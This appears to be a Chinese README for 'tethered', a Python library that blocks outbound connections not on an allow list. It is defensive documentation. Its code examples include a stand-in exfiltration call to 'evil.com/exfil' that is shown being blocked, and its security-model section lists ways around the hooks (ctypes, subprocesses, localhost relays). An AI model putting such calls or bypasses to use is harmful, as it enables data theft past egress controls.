Python 的运行时网络出站控制

单个函数调用。零依赖。无需更改基础设施。

tethered 是一个轻量级的进程内策略检查工具，它挂钩到 Python 自身的 socket 层，以便在任何数据包离开机器之前执行您的允许列表。所有操作都在您的进程本地运行 —— 适用于 requests、httpx、aiohttp、Django、Flask、FastAPI 以及任何基于 Python socket 构建的库。 ``` import tethered tethered.activate(allow=["*.stripe.com:443", "db.internal:5432"]) import urllib.request urllib.request.urlopen("https://api.stripe.com/v1/charges") # works — matches *.stripe.com:443 urllib.request.urlopen("https://evil.com/exfil") # raises tethered.EgressBlocked ``` ## 为什么选择 tethered？ Python 没有内置的方法在运行时限制出站网络访问。基础设施级控制（防火墙、网络策略、代理）需要平台团队、独立服务或管理员权限。它们都无法通过单行 Python 代码声明“此进程仅能与这些主机通信”。 tethered 在应用层填补了这一空白。无需代理，无需 sidecar，无需管理员权限 —— 只需一个函数调用。它是对基础设施控制的补充，而非替代品。 ### 应用场景 - **供应链防御。** 如果出站流量被锁定为您已知的服务，受损的依赖项就无法回连其主服务器。 - **AI agent 护栏。** 将 LLM 驱动的 agent 限制为其仅需要的 API。 - **测试隔离。** 确保您的测试套件永远不会意外访问生产环境端点。 - **最小权限网络。** 像声明依赖项一样声明应用程序的网络访问面。 ## 安装 ``` uv add tethered ``` 或使用 pip： ``` pip install tethered ``` 需要 Python 3.10+。零运行时依赖。 ## 快速入门 尽早调用 `activate()` —— 在任何库建立网络连接**之前**： ``` # manage.py、wsgi.py、main.py 或您的 entrypoint import tethered tethered.activate(allow=["*.stripe.com:443", "db.internal:5432"]) # 然后导入并运行您的 app from myapp import create_app app = create_app() ``` 这种模式对于 Django、Flask、FastAPI、脚本以及 AI agent 都同样适用 —— 在您的应用程序及其依赖项开始建立连接之前激活 tethered。 在 `activate()` 之前建立的现有连接（例如连接池）将继续工作 —— tethered 在连接时拦截，而不是在读取/写入时。 ## 允许列表语法 | 模式 | 示例 | 匹配项 | |---|---|---| | 精确主机名 | `"api.stripe.com"` | 仅 `api.stripe.com` | | 通配符子域名 | `"*.stripe.com"` | `api.stripe.com`, `dashboard.stripe.com` (不包括 `stripe.com`) | | 主机名 + 端口 | `"api.stripe.com:443"` | 仅端口 443 上的 `api.stripe.com` | | IPv4 地址 | `"198.51.100.1"` | 仅该 IP | | IPv4 CIDR 范围 | `"10.0.0.0/8"` | `10.x.x.x` 中的任何 IP | | CIDR + 端口 | `"10.0.0.0/8:5432"` | 端口 5432 上 `10.x.x.x` 中的任何 IP | | IPv6 地址 | `"2001:db8::1"` 或 `"[2001:db8::1]"` | 该 IPv6 地址 | | IPv6 + 端口 | `"[2001:db8::1]:443"` | 仅端口 443 上的该 IPv6 地址 | | IPv6 CIDR | `"[2001:db8::]/32"` | 该 IPv6 前缀中的任何 IP | **通配符匹配：** 使用 Python 的 `fnmatch` 语法。`*` 匹配**包括点在内的**任何字符，因此 `*.stripe.com` 匹配 `api.stripe.com` 和 `a.b.stripe.com`。这与 TLS 证书通配符不同。字符 `?`（单个字符）和 `[seq]`（字符集）也被支持。 默认情况下，Localhost（`127.0.0.0/8`, `::1`）始终被允许。地址 `0.0.0.0` 和 `::`（INADDR_ANY）也被视为 localhost。 包含空格、控制字符或不可见 Unicode 的格式错误主机名将被拒绝，并且永远不会被通配符规则匹配。 ## API ### `tethered.activate()` ``` tethered.activate( *, allow: list[str], log_only: bool = False, fail_closed: bool = False, allow_localhost: bool = True, on_blocked: Callable[[str, int | None], None] | None = None, locked: bool = False, lock_token: object | None = None, ) ``` | 参数 | 描述 | |---|---| | `allow` | 必需。允许的目的地 —— 参见 [允许列表语法](#allow-list-syntax)。传递 `[]` 以阻止所有非 localhost 连接。 | | `log_only` | 记录被阻止的连接而不是抛出 `EgressBlocked`。默认为 `False`。 | | `fail_closed` | 当策略检查本身出错时阻止连接，而不是失败开放。默认为 `False`。 | | `allow_localhost` | 允许环回地址（`127.0.0.0/8`, `::1`）。默认为 `True`。 | | `on_blocked` | 每次连接被阻止时调用的回调 `(host, port) -> None`，包括在仅日志模式下。 | | `locked` | 防止在没有正确 `lock_token` 的情况下调用 `deactivate()` 和 `activate()`。默认为 `False`。 | | `lock_token` | 当 `locked=True` 时所需的不透明令牌。替换现有的锁定策略时也需要。通过标识（`is`）比较，而不是相等性。 | 可以多次调用以替换活动策略 —— 再次调用 `activate()` 不需要先调用 `deactivate()`。如果当前策略被锁定，则必须提供正确的 `lock_token`。每次调用都会创建一个全新的策略；不会保留先前调用的任何参数或状态。 #### 仅日志模式 仅监控而不阻止 —— 适用于推出或审计： ``` tethered.activate( allow=["*.stripe.com"], log_only=True, on_blocked=lambda host, port: print(f"would block: {host}:{port}"), ) ``` tethered 通过 stdlib `logging` 记录到 `"tethered"` 记录器。要查看仅日志警告，请确保您的应用程序已配置日志记录（例如 `logging.basicConfig()`）。 #### 锁定模式 提高门槛，防止意外或随意禁用强制执行： ``` secret = object() tethered.activate(allow=["*.stripe.com:443"], locked=True, lock_token=secret) # deactivate() 和 activate() 都需要正确的 token tethered.deactivate(lock_token=secret) ``` 调用 `activate(locked=True)` 而不带 `lock_token` 会抛出 `ValueError`。当活动策略被锁定时，在没有正确令牌的情况下调用 `activate()` 或 `deactivate()` 会抛出 `TetheredLocked`。 ### `tethered.deactivate()` ``` tethered.deactivate(*, lock_token: object | None = None) ``` 禁用强制执行。所有连接再次被允许。内部状态（IP 到主机名的映射、回调引用）被完全清除 —— 随后的 `activate()` 将重新开始。 如果使用 `locked=True` 激活，则必须提供匹配的 `lock_token`，否则会抛出 `TetheredLocked`。 ### `tethered.EgressBlocked` 当连接被阻止时抛出。`RuntimeError` 的子类。 ``` try: urllib.request.urlopen("https://evil.com") except tethered.EgressBlocked as e: print(e.host) # "evil.com" print(e.port) # 443 print(e.resolved_from) # original hostname if connecting by resolved IP ``` ### `tethered.TetheredLocked` 当在没有正确令牌的情况下对锁定策略调用 `deactivate()` 或 `activate()` 时抛出。`RuntimeError` 的子类。 ## 工作原理 tethered 使用 [`sys.addaudithook`](https://docs.python.org/3/library/sys.html#sys.addaudithook) (PEP 578) 在解释器级别拦截 socket 操作： - **`socket.getaddrinfo`** —— 阻止不允许的主机名的 DNS 解析，并记录允许的主机的 IP 到主机名的映射。 - **`socket.gethostbyname` / `socket.gethostbyaddr`** —— 拦截替代的 DNS 解析路径，包括原始 IP 的反向 DNS 查找。 - **`socket.connect`**（包括 `connect_ex`，它在 CPython 中引发 `socket.connect` 审计事件）—— 对 TCP 连接执行允许列表。 - **`socket.sendto` / `socket.sendmsg`** —— 对 UDP 数据报执行允许列表。 当 `getaddrinfo` 解析主机名时，tethered 在有界的 LRU 缓存中记录 IP 到主机名的映射。当随后的 `connect()` 针对该 IP 时，tethered 会查找原始主机名并根据允许列表进行检查。如果被拒绝，则在任何数据包离开机器之前抛出 `EgressBlocked`。 这适用于基于 CPython socket 构建的库（requests、httpx、urllib3、aiohttp）以及 Django、Flask 和 FastAPI 等框架 —— 它们都在底层调用 `socket.getaddrinfo` 和 `socket.connect`。支持 Asyncio 和使用 CPython socket 的异步库：审计钩子在 C socket 级别触发，因此 `asyncio`、`aiohttp` 和 `httpx` 异步使用与同步代码相同的执行路径。 每次连接的开销是一次 Python 函数调用，包括主机名规范化、字典查找和模式匹配 —— 旨在相对于实际的网络 I/O 增加极小的开销。 ## 安全模型 ### tethered 防范什么 可信但有缺陷的代码和供应链威胁：使用 Python 标准 `socket` 模块的依赖项（直接使用或通过 `requests`、`urllib3`、`httpx`、`aiohttp` 等库）。tethered 防止它们连接到不在您允许列表中的目的地。 ### tethered 不防范什么 - **`ctypes` / `cffi` / 直接系统调用。** 原生代码可以直接调用 libc 的 `connect()`，绕过审计钩子。 - **子进程。** `subprocess.Popen`、`os.system` 和 `os.exec*` 创建没有审计钩子的新进程。 - **带有原始 socket 调用的 C 扩展。** 调用 C 级别 socket 函数的扩展不会被拦截。 - **进程内禁用。** 除非使用 `locked=True`，否则同一解释器中的代码可以调用 `deactivate()` 或 `activate()`。即使处于锁定模式，也可以被修改模块状态的代码绕过 —— Python 没有真正的封装。 ### 设计权衡 - **默认失败开放。** 如果 tethered 的匹配逻辑引发意外异常，则允许连接并记录警告。tethered 中的错误不应破坏您的应用程序。在更严格的环境中使用 `fail_closed=True`。 - **审计钩子是不可移除的。** `sys.addaudithook` 没有移除功能（设计如此 —— PEP 578）。`deactivate()` 使钩子成为空操作，但无法注销它。这仅限于单个进程 —— 没有持久状态，没有系统更改，进程退出时一切都会消失。 - **IP 到主机名的映射是有界的。** LRU 缓存最多保存 4096 个条目。在具有许多唯一 DNS 查找的长时间运行的进程中，旧映射会被清除。到已清除 IP 的连接仅根据 IP/CIDR 规则进行检查。 - **直接 IP 连接跳过主机名匹配。** 如果没有事先的 DNS 解析而直接连接到原始 IP，则仅适用 IP/CIDR 规则 —— 主机名通配符将不匹配。在共享 IP 基础设施（CDN，云托管）上，多个主机名可能解析为同一个 IP。如果允许的主机名与不允许的主机名共享一个 IP，则到该地址的原始 IP 连接将通过缓存映射通过主机名策略。这对于任何无法将 socket 绑定到特定主机名身份的系统来说都是固有的。 - **Localhost 允许本地中继。** 在默认的 `allow_localhost=True` 下，任何监听 `127.0.0.1` 或 `::1` 的代理、隧道或转发代理都可以将流量中继到外部目的地，从而绕过出站策略的意图。在关注本地中继的高安全性环境中，设置 `allow_localhost=False` 并仅明确允许应用程序所需的环回地址和端口。 ### 建议 为了深度防御，将 tethered 与以下措施结合使用： - OS 级别的沙箱（容器、seccomp-bpf、网络命名空间）以实现硬隔离。 - 子进程限制（对 `subprocess.Popen` 事件的审计钩子，或 seccomp 过滤器）。 - 导入限制，以防止在不受信任的代码路径中加载 `ctypes`/`cffi`。 ## 处理被阻止的连接 `EgressBlocked` 是 `RuntimeError`，而不是 `OSError`。这是有意为之 —— 策略违规不是网络错误，不应被 HTTP 库或重试逻辑静默捕获。您需要在应用程序边界显式处理它。 ### Django / FastAPI 中间件 ``` # middleware.py import tethered class EgressBlockedMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): try: return self.get_response(request) except tethered.EgressBlocked as e: logger.error("Egress blocked: %s:%s (resolved_from=%s)", e.host, e.port, e.resolved_from) return HttpResponse("Service unavailable", status=503) ``` ### Celery 任务 ``` # EgressBlocked 是一个 RuntimeError，因此 autoretry_for=(ConnectionError, TimeoutError) # 本来就不会对其进行重试 —— 任务在违反 policy 时立即失败。 @app.task(autoretry_for=(ConnectionError, TimeoutError)) def sync_data(): requests.post("https://api.stripe.com/v1/charges", ...) ``` ### 重试装饰器 ``` # 在您的重试逻辑之前捕获 EgressBlocked —— 重试 policy 阻止毫无意义 try: response = retry_with_backoff(make_request) except tethered.EgressBlocked: raise # don't retry policy violations except ConnectionError: handle_network_failure() ``` ## 徽章 在您的项目中使用 tethered？将徽章添加到您的 README： ``` [](https://github.com/shcherbak-ai/tethered) ``` [](https://github.com/shcherbak-ai/tethered) ## 安全 有关报告漏洞，请参阅 [SECURITY.md](SECURITY.md)。 ## 许可证 MIT

标签：IP 地址批量处理, Python, RASP, Socket过滤, XML 请求, 主机限制, 出口流量过滤, 安全开发, 库, 应急响应, 攻击面缩减, 无后门, 流量监控, 白名单, 网络安全, 网络访问控制, 逆向工具, 隐私保护, 零依赖